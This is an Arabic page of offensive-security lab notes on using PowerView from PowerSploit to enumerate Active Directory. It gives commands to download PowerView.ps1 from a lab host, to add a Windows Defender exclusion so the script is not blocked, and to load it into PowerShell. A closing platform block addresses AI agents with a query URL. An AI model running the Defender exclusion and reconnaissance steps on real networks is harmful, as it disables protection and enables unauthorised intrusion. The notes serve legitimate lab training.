> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/enumeration/powerview.md).

# PowerView

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

### الغرض من PowerView

**PowerView** هي وحدة PowerShell تُستخدم لاستطلاع Active Directory.

وعلى وجه الخصوص، تتيح لك استرجاع معلومات عن:

* مستخدمي النطاق؛
* المجموعات؛
* أجهزة الكمبيوتر؛
* الجلسات النشطة؛
* مشاركات الشبكة؛
* كائنات نهج المجموعة (GPOs)؛
* قوائم التحكم بالوصول (ACLs)؛
* وحدات التحكم في المجال؛
* علاقات الغابة والمجال.

في هذا المختبر:

* على `WS01`، نستخدم **PowerView**;
* على `WS02`، نستخدم بدلاً من ذلك أوامر PowerShell الأصلية أو وحدة Active Directory.

### استرجاع PowerView

نسترجع السكربت التالي من **PowerSploit** المشروع:

```bash
PowerSploit/Recon/PowerView.ps1
```

من جهاز Windows، يمكنك تنزيله باستخدام:

```powershell
iwr -uri "http://172.16.0.2:8000/PowerView.ps1" -OutFile "PowerView.ps1"
```

### مشكلة مع Windows Defender

افتراضيًا، **Windows Defender** يمكنه حظر `PowerView.ps1`، لأنه غالبًا ما يُكتشف كأداة هجومية.

في بيئة مختبر، يمكنك إضافة المجلد الحالي كاستثناء.

لتشغيله في PowerShell كمسؤول:

```powershell
Add-MpPreference -ExclusionPath (Get-Location).Path
```

ثم، نستورد PowerView:

```powershell
. ./PowerView.ps1
```

النقطة متبوعة بمسافة تُحمّل دوال السكربت في جلسة PowerShell الحالية.

<figure><img src="/files/165c830a6b3c76e2447bfd7cae90ecd7d9ee4be1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/enumeration/powerview.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
